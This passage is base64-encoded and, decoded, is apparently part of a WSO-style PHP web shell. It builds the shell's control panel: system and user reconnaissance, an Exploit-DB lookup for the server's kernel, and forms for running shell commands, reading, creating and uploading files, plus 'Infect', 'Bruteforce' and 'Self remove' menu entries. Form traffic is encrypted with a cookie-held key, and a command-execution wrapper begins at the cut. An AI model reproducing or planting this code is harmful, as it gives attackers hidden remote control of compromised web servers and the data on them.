YV8gPSAnIiAuIGh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsnYSddKSAuIicNCiAgICB2YXIgY2hhcnNldF8gPSAnIiAuIGh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsnY2hhcnNldCddKSAuIic7DQogICAgdmFyIHAxXyA9ICciIC4gKChzdHJwb3MoQCRfUE9TVFsncDEnXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSxFTlRfUVVPVEVTKSkgLiInOw0KICAgIHZhciBwMl8gPSAnIiAuICgoc3RycG9zKEAkX1BPU1RbJ3AyJ10sIlxuIikhPT1mYWxzZSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AyJ10sRU5UX1FVT1RFUykpIC4iJzsNCiAgICB2YXIgcDNfID0gJyIgLiAoKHN0cnBvcyhAJF9QT1NUWydwMyddLCJcbiIpIT09ZmFsc2UpPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMyddLEVOVF9RVU9URVMpKSAuIic7DQogICAgdmFyIGQgPSBkb2N1bWVudDsNCgkNCglmdW5jdGlvbiBlbmNyeXB0KHN0cixwd2Qpe2lmKHB3ZD09bnVsbHx8cHdkLmxlbmd0aDw9MCl7cmV0dXJuIG51bGw7fXN0cj1iYXNlNjRfZW5jb2RlKHN0cik7cHdkPWJhc2U2NF9lbmNvZGUocHdkKTt2YXIgZW5jX2Nocj0nJzt2YXIgZW5jX3N0cj0nJzt2YXIgaT0wO3doaWxlKGk8c3RyLmxlbmd0aCl7Zm9yKHZhciBqPTA7ajxwd2QubGVuZ3RoO2orKyl7ZW5jX2Nocj1zdHIuY2hhckNvZGVBdChpKV5wd2QuY2hhckNvZGVBdChqKTtlbmNfc3RyKz1TdHJpbmcuZnJvbUNoYXJDb2RlKGVuY19jaHIpO2krKztpZihpPj1zdHIubGVuZ3RoKWJyZWFrO319cmV0dXJuIGJhc2U2NF9lbmNvZGUoZW5jX3N0cik7fQ0KCWZ1bmN0aW9uIHV0ZjhfZW5jb2RlKGFyZ1N0cmluZyl7dmFyIHN0cmluZz0oYXJnU3RyaW5nKycnKTt2YXIgdXRmdGV4dD0nJyxzdGFydCxlbmQsc3RyaW5nbD0wO3N0YXJ0PWVuZD0wO3N0cmluZ2w9c3RyaW5nLmxlbmd0aDtmb3IodmFyIG49MDtuPHN0cmluZ2w7bisrKXt2YXIgYzE9c3RyaW5nLmNoYXJDb2RlQXQobik7dmFyIGVuYz1udWxsO2lmKGMxPDEyOCl7ZW5kKys7fWVsc2UgaWYoYzE+MTI3JiZjMTwyMDQ4KXtlbmM9U3RyaW5nLmZyb21DaGFyQ29kZSgoYzE+PjYpfDE5MikrU3RyaW5nLmZyb21DaGFyQ29kZSgoYzEmNjMpfDEyOCk7fWVsc2V7ZW5jPVN0cmluZy5mcm9tQ2hhckNvZGUoKGMxPj4xMil8MjI0KStTdHJpbmcuZnJvbUNoYXJDb2RlKCgoYzE+PjYpJjYzKXwxMjgpK1N0cmluZy5mcm9tQ2hhckNvZGUoKGMxJjYzKXwxMjgpO31pZihlbmMhPT1udWxsKXtpZihlbmQ+c3RhcnQpe3V0ZnRleHQrPXN0cmluZy5zbGljZShzdGFydCxlbmQpO311dGZ0ZXh0Kz1lbmM7c3RhcnQ9ZW5kPW4rMTt9fWlmKGVuZD5zdGFydCl7dXRmdGV4dCs9c3RyaW5nLnNsaWNlKHN0YXJ0LHN0cmluZ2wpO31yZXR1cm4gdXRmdGV4dDt9DQoJZnVuY3Rpb24gYmFzZTY0X2VuY29kZShkYXRhKXt2YXIgYjY0ID0gJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky89Jzt2YXIgbzEsbzIsbzMsaDEsaDIsaDMsaDQsYml0cyxpPTAsYWM9MCxlbmM9JycsdG1wX2Fycj1bXTtpZiAoIWRhdGEpe3JldHVybiBkYXRhO31kYXRhPXV0ZjhfZW5jb2RlKGRhdGErJycpO2Rve28xPWRhdGEuY2hhckNvZGVBdChpKyspO28yPWRhdGEuY2hhckNvZGVBdChpKyspO28zPWRhdGEuY2hhckNvZGVBdChpKyspO2JpdHM9bzE8PDE2fG8yPDw4fG8zO2gxPWJpdHM+PjE4JjB4M2Y7aDI9Yml0cz4+MTImMHgzZjtoMz1iaXRzPj42JjB4M2Y7aDQ9Yml0cyYweDNmO3RtcF9hcnJbYWMrK109YjY0LmNoYXJBdChoMSkrYjY0LmNoYXJBdChoMikrYjY0LmNoYXJBdChoMykrYjY0LmNoYXJBdChoNCk7fXdoaWxlKGk8ZGF0YS5sZW5ndGgpO2VuYz10bXBfYXJyLmpvaW4oJycpO3N3aXRjaCAoZGF0YS5sZW5ndGglMyl7Y2FzZSAxOmVuYz1lbmMuc2xpY2UoMCwtMikrJz09JzticmVhaztjYXNlIDI6ZW5jPWVuYy5zbGljZSgwLC0xKSsnPSc7YnJlYWs7fXJldHVybiBlbmM7fQ0KCWZ1bmN0aW9uIHNldChhLGMscDEscDIscDMsY2hhcnNldCkgew0KCQlpZihhIT1udWxsKWQubWYuYS52YWx1ZT1hO2Vsc2UgZC5tZi5hLnZhbHVlPWFfOw0KCQlpZihjIT1udWxsKWQubWYuYy52YWx1ZT1jO2Vsc2UgZC5tZi5jLnZhbHVlPWNfOw0KCQlpZihwMSE9bnVsbClkLm1mLnAxLnZhbHVlPXAxO2Vsc2UgZC5tZi5wMS52YWx1ZT1wMV87DQoJCWlmKHAyIT1udWxsKWQubWYucDIudmFsdWU9cDI7ZWxzZSBkLm1mLnAyLnZhbHVlPXAyXzsNCgkJaWYocDMhPW51bGwpZC5tZi5wMy52YWx1ZT1wMztlbHNlIGQubWYucDMudmFsdWU9cDNfOw0KCQlkLm1mLmEudmFsdWUgPSBlbmNyeXB0KGQubWYuYS52YWx1ZSwnIi4kX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4ia2V5Il0uIicpOw0KCQlkLm1mLmMudmFsdWUgPSBlbmNyeXB0KGQubWYuYy52YWx1ZSwnIi4kX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4ia2V5Il0uIicpOw0KCQlkLm1mLnAxLnZhbHVlID0gZW5jcnlwdChkLm1mLnAxLnZhbHVlLCciLiRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLiJrZXkiXS4iJyk7DQoJCWQubWYucDIudmFsdWUgPSBlbmNyeXB0KGQubWYucDIudmFsdWUsJyIuJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuImtleSJdLiInKTsNCgkJZC5tZi5wMy52YWx1ZSA9IGVuY3J5cHQoZC5tZi5wMy52YWx1ZSwnIi4kX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4ia2V5Il0uIicpOw0KCQlpZihjaGFyc2V0IT1udWxsKWQubWYuY2hhcnNldC52YWx1ZT1jaGFyc2V0O2Vsc2UgZC5tZi5jaGFyc2V0LnZhbHVlPWNoYXJzZXRfOw0KCX0NCglmdW5jdGlvbiBnKGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7DQoJCXNldChhLGMscDEscDIscDMsY2hhcnNldCk7DQoJCWQubWYuc3VibWl0KCk7DQoJfQ0KCWZ1bmN0aW9uIGEoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsNCgkJc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsNCgkJdmFyIHBhcmFtcyA9ICdhamF4PXRydWUnOw0KCQlmb3IoaT0wO2k8ZC5tZi5lbGVtZW50cy5sZW5ndGg7aSsrKQ0KCQkJcGFyYW1zICs9ICcmJytkLm1mLmVsZW1lbnRzW2ldLm5hbWUrJz0nK2VuY29kZVVSSUNvbXBvbmVudChkLm1mLmVsZW1lbnRzW2ldLnZhbHVlKTsNCgkJc3IoJyIgLiBhZGRzbGFzaGVzKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSAuIicsIHBhcmFtcyk7DQoJfQ0KCWZ1bmN0aW9uIHNyKHVybCwgcGFyYW1zKSB7DQoJCWlmICh3aW5kb3cuWE1MSHR0cFJlcXVlc3QpDQoJCQlyZXEgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsNCgkJZWxzZSBpZiAod2luZG93LkFjdGl2ZVhPYmplY3QpDQoJCQlyZXEgPSBuZXcgQWN0aXZlWE9iamVjdCgnTWljcm9zb2Z0LlhNTEhUVFAnKTsNCiAgICAgICAgaWYgKHJlcSkgew0KICAgICAgICAgICAgcmVxLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IHByb2Nlc3NSZXFDaGFuZ2U7DQogICAgICAgICAgICByZXEub3BlbignUE9TVCcsIHVybCwgdHJ1ZSk7DQogICAgICAgICAgICByZXEuc2V0UmVxdWVzdEhlYWRlciAoJ0NvbnRlbnQtVHlwZScsICdhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQnKTsNCiAgICAgICAgICAgIHJlcS5zZW5kKHBhcmFtcyk7DQogICAgICAgIH0NCgl9DQoJZnVuY3Rpb24gcHJvY2Vzc1JlcUNoYW5nZSgpIHsNCgkJaWYoIChyZXEucmVhZHlTdGF0ZSA9PSA0KSApDQoJCQlpZihyZXEuc3RhdHVzID09IDIwMCkgew0KCQkJCXZhciByZWcgPSBuZXcgUmVnRXhwKFwiKFxcXFxkKykoW1xcXFxTXFxcXHNdKilcIiwgJ20nKTsNCgkJCQl2YXIgYXJyPXJlZy5leGVjKHJlcS5yZXNwb25zZVRleHQpOw0KCQkJCWV2YWwoYXJyWzJdLnN1YnN0cigwLCBhcnJbMV0pKTsNCgkJCX0gZWxzZSBhbGVydCgnUmVxdWVzdCBlcnJvciEnKTsNCgl9DQo8L3NjcmlwdD4NCjxoZWFkPjxib2R5PjxkaXYgc3R5bGU9J3Bvc2l0aW9uOmFic29sdXRlO2JhY2tncm91bmQtY29sb3I6cmdiYSg5NSwgMTEwLCAxMzAsIDAuMyk7d2lkdGg6MTAwJTt0b3A6MDtsZWZ0OjA7Jz4NCjxmb3JtIG1ldGhvZD1wb3N0IG5hbWU9bWYgc3R5bGU9J2Rpc3BsYXk6bm9uZTsnPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YT4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWM+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMT4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAyPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDM+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0Pg0KPC9mb3JtPiI7DQoJJGZyZWVTcGFjZSA9IEBkaXNrZnJlZXNwYWNlKCRHTE9CQUxTWydjd2QnXSk7DQoJJHRvdGFsU3BhY2UgPSBAZGlza190b3RhbF9zcGFjZSgkR0xPQkFMU1snY3dkJ10pOw0KCSR0b3RhbFNwYWNlID0gJHRvdGFsU3BhY2U/JHRvdGFsU3BhY2U6MTsNCgkkcmVsZWFzZSA9IEBwaHBfdW5hbWUoJ3InKTsNCgkka2VybmVsID0gQHBocF91bmFtZSgncycpOw0KCSRleHBsaW5rID0gJ2h0dHBzOi8vbm9yZWZlcmVyLmRlLz9odHRwczovL3d3dy5leHBsb2l0LWRiLmNvbS9zZWFyY2gvP2FjdGlvbj1zZWFyY2gmZGVzY3JpcHRpb249JzsNCglpZihzdHJwb3MoJ0xpbnV4JywgJGtlcm5lbCkgIT09IGZhbHNlKQ0KCQkkZXhwbGluayAuPSB1cmxlbmNvZGUoJ0xpbnV4IEtlcm5lbCAnIC4gc3Vic3RyKCRyZWxlYXNlLDAsNikpOw0KCWVsc2UNCgkJJGV4cGxpbmsgLj0gdXJsZW5jb2RlKCRrZXJuZWwgLiAnICcgLiBzdWJzdHIoJHJlbGVhc2UsMCwzKSk7DQoJaWYoIWZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKSB7DQoJCSR1c2VyID0gQGdldF9jdXJyZW50X3VzZXIoKTsNCgkJJHVpZCA9IEBnZXRteXVpZCgpOw0KCQkkZ2lkID0gQGdldG15Z2lkKCk7DQoJCSRncm91cCA9ICI/IjsNCgl9IGVsc2Ugew0KCQkkdWlkID0gQHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOw0KCQkkZ2lkID0gQHBvc2l4X2dldGdyZ2lkKEBwb3NpeF9nZXRlZ2lkKCkpOw0KCQkkdXNlciA9ICR1aWRbJ25hbWUnXTsNCgkJJHVpZCA9ICR1aWRbJ3VpZCddOw0KCQkkZ3JvdXAgPSAkZ2lkWyduYW1lJ107DQoJCSRnaWQgPSAkZ2lkWydnaWQnXTsNCgl9DQoJJGN3ZF9saW5rcyA9ICcnOw0KCSRwYXRoID0gZXhwbG9kZSgiLyIsICRHTE9CQUxTWydjd2QnXSk7DQoJJG49Y291bnQoJHBhdGgpOw0KCWZvcigkaT0wOyAkaTwkbi0xOyAkaSsrKSB7DQoJCSRjd2RfbGlua3MgLj0gIjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLFwiIjsNCgkJZm9yKCRqPTA7ICRqPD0kaTsgJGorKykNCgkJCSRjd2RfbGlua3MgLj0gJHBhdGhbJGpdLicvJzsNCgkJJGN3ZF9saW5rcyAuPSAiXCIpJz4iLiRwYXRoWyRpXS4iLzwvYT4iOw0KCX0NCgkkY2hhcnNldHMgPSBhcnJheSgnVVRGLTgnLCAnV2luZG93cy0xMjUxJywgJ0tPSTgtUicsICdLT0k4LVUnLCAnY3A4NjYnKTsNCgkkb3B0X2NoYXJzZXRzID0gJyc7DQoJZm9yZWFjaCgkY2hhcnNldHMgYXMgJOKWnykNCgkJJG9wdF9jaGFyc2V0cyAuPSAnPG9wdGlvbiB2YWx1ZT0iJy4k4pafLiciICcuKCRfUE9TVFsnY2hhcnNldCddPT0k4pafPydzZWxlY3RlZCc6JycpLic+Jy4k4pafLic8L29wdGlvbj4nOw0KCSRtID0gYXJyYXkoJ1NlYy4gSW5mbyc9PidTZWNJbmZvJywnRmlsZXMnPT4nRmlsZXNNYW4nLCdDb25zb2xlJz0+J0NvbnNvbGUnLCdJbmZlY3QnPT4nSW5mZWN0JywnU3FsJz0+J1NxbCcsJ1BocCc9PidQaHAnLCdTYWZlIG1vZGUnPT4nU2FmZU1vZGUnLCdTdHJpbmcgdG9vbHMnPT4nU3RyaW5nVG9vbHMnLCdCcnV0ZWZvcmNlJz0+J0JydXRlZm9yY2UnLCdOZXR3b3JrJz0+J05ldHdvcmsnKTsNCglpZighZW1wdHkoJEdMT0JBTFNbJ+KWmyddKSkNCgkkbVsnTG9nb3V0J10gPSAnTG9nb3V0JzsNCgkkbVsnU2VsZiByZW1vdmUnXSA9ICdTZWxmUmVtb3ZlJzsNCgkkbWVudSA9ICcnOw0KCWZvcmVhY2goJG0gYXMgJGsgPT4gJHYpDQoJCSRtZW51IC49ICc8dGg+WyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnJy4kdi4nXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJykiPicuJGsuJzwvYT4gXTwvdGg+JzsNCgkkZHJpdmVzID0gIiI7DQoJaWYgKCRHTE9CQUxTWydvcyddID09ICd3aW4nKSB7DQoJCWZvcmVhY2gocmFuZ2UoJ2MnLCd6JykgYXMgJGRyaXZlKQ0KCQlpZiAoaXNfZGlyKCRkcml2ZS4nOlxcJykpDQoJCQkkZHJpdmVzIC49ICc8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycuJGRyaXZlLic6L1wnKSI+WyAnLiRkcml2ZS4nIF08L2E+ICc7DQoJfQ0KCS8qICjQoSkgMDguMjAxNSBkbWtjdiAqLw0KCWVjaG8gJzx0YWJsZSBjbGFzcz1pbmZvIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlPjx0cj48dGQgd2lkdGg9MT48c3Bhbj5VbmFtZTo8YnI+VXNlcjo8YnI+UGhwOjxicj5IZGQ6PGJyPkN3ZDonLigkR0xPQkFMU1snb3MnXSA9PSAnd2luJz8nPGJyPkRyaXZlczonOicnKS4nPC9zcGFuPjwvdGQ+Jy4NCgkJICc8dGQ+PG5vYnI+Jy5zdWJzdHIoQHBocF91bmFtZSgpLCAwLCAxMjApLicgPGEgaHJlZj0iaHR0cHM6Ly9ub3JlZmVyZXIuZGUvP2h0dHBzOi8vd3d3Lmdvb2dsZS5jb20vc2VhcmNoP3E9Jy51cmxlbmNvZGUoQHBocF91bmFtZSgpKS4nIiB0YXJnZXQ9Il9ibGFuayI+WyBHb29nbGUgXTwvYT4gPGEgaHJlZj0iJy4kZXhwbGluay4nIiB0YXJnZXQ9X2JsYW5rPlsgRXhwbG9pdC1EQiBdPC9hPjwvbm9icj48YnI+Jy4kdWlkLicgKCAnLiR1c2VyLicgKSA8c3Bhbj5Hcm91cDo8L3NwYW4+ICcuJGdpZC4nICggJyAuJGdyb3VwLiAnICk8YnI+Jy5AcGhwdmVyc2lvbigpLicgPHNwYW4+U2FmZSBtb2RlOjwvc3Bhbj4gJy4oJEdMT0JBTFNbJ3NhZmVfbW9kZSddPyc8Zm9udCBjb2xvcj1yZWQ+T048L2ZvbnQ+JzonPGZvbnQgY29sb3I9I0ZGREI1Rj48Yj5PRkY8L2I+PC9mb250PicpLicgPGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdQaHBcJyxudWxsLG51bGwsXCdpbmZvXCcpIj5bIHBocGluZm8gXTwvYT4gPHNwYW4+RGF0ZXRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJykuJzxicj4nLnZpZXdTaXplKCR0b3RhbFNwYWNlKS4nIDxzcGFuPkZyZWU6PC9zcGFuPiAnLnZpZXdTaXplKCRmcmVlU3BhY2UpLicgKCcucm91bmQoMTAwLygkdG90YWxTcGFjZS8kZnJlZVNwYWNlKSwyKS4nJSk8YnI+Jy4kY3dkX2xpbmtzLicgJy52aWV3UGVybXNDb2xvcigkR0xPQkFMU1snY3dkJ10pLicgPGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLFwnJy4kR0xPQkFMU1snaG9tZV9jd2QnXS4nXCcsXCdcJyxcJ1wnLFwnXCcpIj5bIGhvbWUgXTwvYT48YnI+Jy4kZHJpdmVzLic8L3RkPicuDQoJCSAnPHRkIHdpZHRoPTEgYWxpZ249cmlnaHQ+PG5vYnI+PGxhYmVsPjxzZWxlY3Qgb25jaGFuZ2U9ImcobnVsbCxudWxsLG51bGwsbnVsbCxudWxsLHRoaXMudmFsdWUpIj4nLiRvcHRfY2hhcnNldHMuJzwvc2VsZWN0PjwvbGFiZWw+PGJyPjxzcGFuPlNlcnZlciBJUDo8L3NwYW4+PGJyPicuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pLic8YnI+PHNwYW4+Q2xpZW50IElQOjwvc3Bhbj48YnI+Jy4kX1NFUlZFUlsnUkVNT1RFX0FERFInXS4nPC9ub2JyPjwvdGQ+PC90cj48L3RhYmxlPicuDQoJCSAnPHRhYmxlIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiMyRTZFOUM7IiBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTAgd2lkdGg9MTAwJT48dHI+Jy4kbWVudS4nPC90cj48L3RhYmxlPjxkaXY+JzsNCn0NCmZ1bmN0aW9uIGhhcmRGb290ZXIoKSB7DQoJJGlzX3dyaXRhYmxlID0gaXNfd3JpdGFibGUoJEdMT0JBTFNbJ2N3ZCddKT8iIDxmb250IGNvbG9yPScjRkZEQjVGJz5bIFdyaXRlYWJsZSBdPC9mb250PiI6IiA8Zm9udCBjb2xvcj1yZWQ+KE5vdCB3cml0YWJsZSk8L2ZvbnQ+IjsNCiAgICBlY2hvICINCjwvZGl2Pg0KPHRhYmxlIGNsYXNzPWluZm8gaWQ9dG9vbHNUYmwgY2VsbHBhZGRpbmc9MyBjZWxsc3BhY2luZz0wIHdpZHRoPTEwMCU+DQoJPHRyPg0KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9XCIiLiggZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb25GaWxlc01hbicpPyAiZyhudWxsLHRoaXMuYy52YWx1ZSwnJyk7IjonJyApLiJyZXR1cm4gZmFsc2U7XCI+PHNwYW4+Q2hhbmdlIGRpcjo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9JyIgLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nc3VibWl0Jz48L2Zvcm0+PC90ZD4NCgkJPHRkPjxmb3JtIG9uc3VibWl0PVwiIi4oZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb25GaWxlc1Rvb2xzJyk/ICJnKCdGaWxlc1Rvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSk7IjonJyApLiJyZXR1cm4gZmFsc2U7XCI+PHNwYW4+UmVhZCBmaWxlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9ZiByZXF1aXJlZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J3N1Ym1pdCc+PC9mb3JtPjwvdGQ+DQoJPC90cj48dHI+DQoJCTx0ZD48Zm9ybSBvbnN1Ym1pdD1cIiIuKCBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbkZpbGVzTWFuJyk/ICJnKCdGaWxlc01hbicsbnVsbCwnbWtkaXInLHRoaXMuZC52YWx1ZSk7IjonJyApLiJyZXR1cm4gZmFsc2U7XCI+PHNwYW4+TWFrZSBkaXI6PC9zcGFuPiRpc193cml0YWJsZTxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1kIHJlcXVpcmVkPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nc3VibWl0Jz48L2Zvcm0+PC90ZD4NCgkJPHRkPjxmb3JtIG9uc3VibWl0PVwiIi4oIGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uRmlsZXNUb29scycpPyAiZygnRmlsZXNUb29scycsbnVsbCx0aGlzLmYudmFsdWUsJ21rZmlsZScpOyI6JycgKS4icmV0dXJuIGZhbHNlO1wiPjxzcGFuPk1ha2UgZmlsZTo8L3NwYW4+JGlzX3dyaXRhYmxlPGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWYgcmVxdWlyZWQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdzdWJtaXQnPjwvZm9ybT48L3RkPg0KCTwvdHI+PHRyPg0KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9XCIiLiggZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb25Db25zb2xlJyk/ICJnKCdDb25zb2xlJyxudWxsLHRoaXMuYy52YWx1ZSk7IjonJyApLiJyZXR1cm4gZmFsc2U7XCI+PHNwYW4+RXhlY3V0ZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9Jyc+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdzdWJtaXQnPjwvZm9ybT48L3RkPg0KCQk8dGQ+PGZvcm0gbWV0aG9kPSdwb3N0JyAiLiggKCFmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbkZpbGVzTWFuJykpPyAiIG9uc3VibWl0PVwicmV0dXJuIGZhbHNlO1wiICI6JycgKS4iRU5DVFlQRT0nbXVsdGlwYXJ0L2Zvcm0tZGF0YSc+DQoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J0ZpbGVzTWFuJz4NCgkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIiAuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+DQoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPSd1cGxvYWRGaWxlJz4NCgkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9bmUgdmFsdWU9Jyc+DQoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9JyIgLiAoaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKSAuICInPg0KCQk8c3Bhbj5VcGxvYWQgZmlsZTo8L3NwYW4+JGlzX3dyaXRhYmxlPGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9ZmlsZSBuYW1lPWZbXSAgbXVsdGlwbGU+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdzdWJtaXQnPjwvZm9ybT48YnIgID48L3RkPg0KCTwvdHI+PC90YWJsZT48L2Rpdj4NCgk8IS0tIHBhcnRpY2xlcyAtLT4gPGRpdiBpZD0ncGFydGljbGVzLWpzJz48L2Rpdj48c2NyaXB0IHNyYz0naHR0cHM6Ly9jZG4uanNkZWxpdnIubmV0L3BhcnRpY2xlcy5qcy8yLjAuMC9wYXJ0aWNsZXMubWluLmpzJz48L3NjcmlwdD4NCgk8c2NyaXB0PnBhcnRpY2xlc0pTKCdwYXJ0aWNsZXMtanMnLCB7J3BhcnRpY2xlcyc6eydudW1iZXInOnsndmFsdWUnOjgwLCdkZW5zaXR5Jzp7J2VuYWJsZSc6dHJ1ZSwndmFsdWVfYXJlYSc6ODAwfX0sJ2NvbG9yJzp7J3ZhbHVlJzonI2ZmZmZmZid9LCdzaGFwZSc6eyd0eXBlJzondHJpYW5nbGUnLCdzdHJva2UnOnsnd2lkdGgnOjAsJ2NvbG9yJzonIzAwMDAwMCd9LCdwb2x5Z29uJzp7J25iX3NpZGVzJzo1fSwnaW1hZ2UnOnsnc3JjJzonaW1nL2dpdGh1Yi5zdmcnLCd3aWR0aCc6MTAwLCdoZWlnaHQnOjEwMH19LCdvcGFjaXR5Jzp7J3ZhbHVlJzowLjUsJ3JhbmRvbSc6dHJ1ZSwnYW5pbSc6eydlbmFibGUnOmZhbHNlLCdzcGVlZCc6MSwnb3BhY2l0eV9taW4nOjAuMSwnc3luYyc6ZmFsc2V9fSwnc2l6ZSc6eyd2YWx1ZSc6MywncmFuZG9tJzp0cnVlLCdhbmltJzp7J2VuYWJsZSc6ZmFsc2UsJ3NwZWVkJzo0MCwnc2l6ZV9taW4nOjAuMSwnc3luYyc6ZmFsc2V9fSwnbGluZV9saW5rZWQnOnsnZW5hYmxlJzp0cnVlLCdkaXN0YW5jZSc6MjAwLCdjb2xvcic6JyNmZmZmZmYnLCdvcGFjaXR5JzowLjQsJ3dpZHRoJzoxfSwnbW92ZSc6eydlbmFibGUnOnRydWUsJ3NwZWVkJzoxLCdkaXJlY3Rpb24nOidub25lJywncmFuZG9tJzp0cnVlLCdzdHJhaWdodCc6ZmFsc2UsJ291dF9tb2RlJzonb3V0JywnYm91bmNlJzpmYWxzZSwnYXR0cmFjdCc6eydlbmFibGUnOmZhbHNlLCdyb3RhdGVYJzoxMDAwMCwncm90YXRlWSc6MTAwMDB9fX0sJ2ludGVyYWN0aXZpdHknOnsnZGV0ZWN0X29uJzonY2FudmFzJywnZXZlbnRzJzp7J29uaG92ZXInOnsnZW5hYmxlJzp0cnVlLCdtb2RlJzonZ3JhYid9LCdvbmNsaWNrJzp7J2VuYWJsZSc6dHJ1ZSwnbW9kZSc6J3JlcHVsc2UnfSwncmVzaXplJzp0cnVlfSwnbW9kZXMnOnsnZ3JhYic6eydkaXN0YW5jZSc6MjAwLCdsaW5lX2xpbmtlZCc6eydvcGFjaXR5JzowLjV9fSwnYnViYmxlJzp7J3BhcnRpY2xlc19uYic6Mn19fSwncmV0aW5hX2RldGVjdCc6dHJ1ZX0pOzwvc2NyaXB0Pg0KCTwvYm9keT48L2h0bWw+IjsNCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpICYmIChzdHJwb3MoJEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ10sICdwb3NpeF9nZXRwd3VpZCcpPT09ZmFsc2UpKSB7IGZ1bmN0aW9uIHBvc2l4X2dldHB3dWlkKCRwKSB7cmV0dXJuIGZhbHNlO30gfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikgJiYgKHN0cnBvcygkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSwgJ3Bvc2l4X2dldGdyZ2lkJyk9PT1mYWxzZSkpIHsgZnVuY3Rpb24gcG9zaXhfZ2V0Z3JnaWQoJHApIHtyZXR1cm4gZmFsc2U7fSB9DQpmdW5jdGlvbiBleCgkaW4pIHsNCgkk4paWID0gJyc7DQoJaWYgKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7DQoJCUBleGVjKCRpbiwk4paWKTsNCgkJJOKWliA9IEBqb2luKCJcbiIsJOKWlik7DQoJfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygncGFzc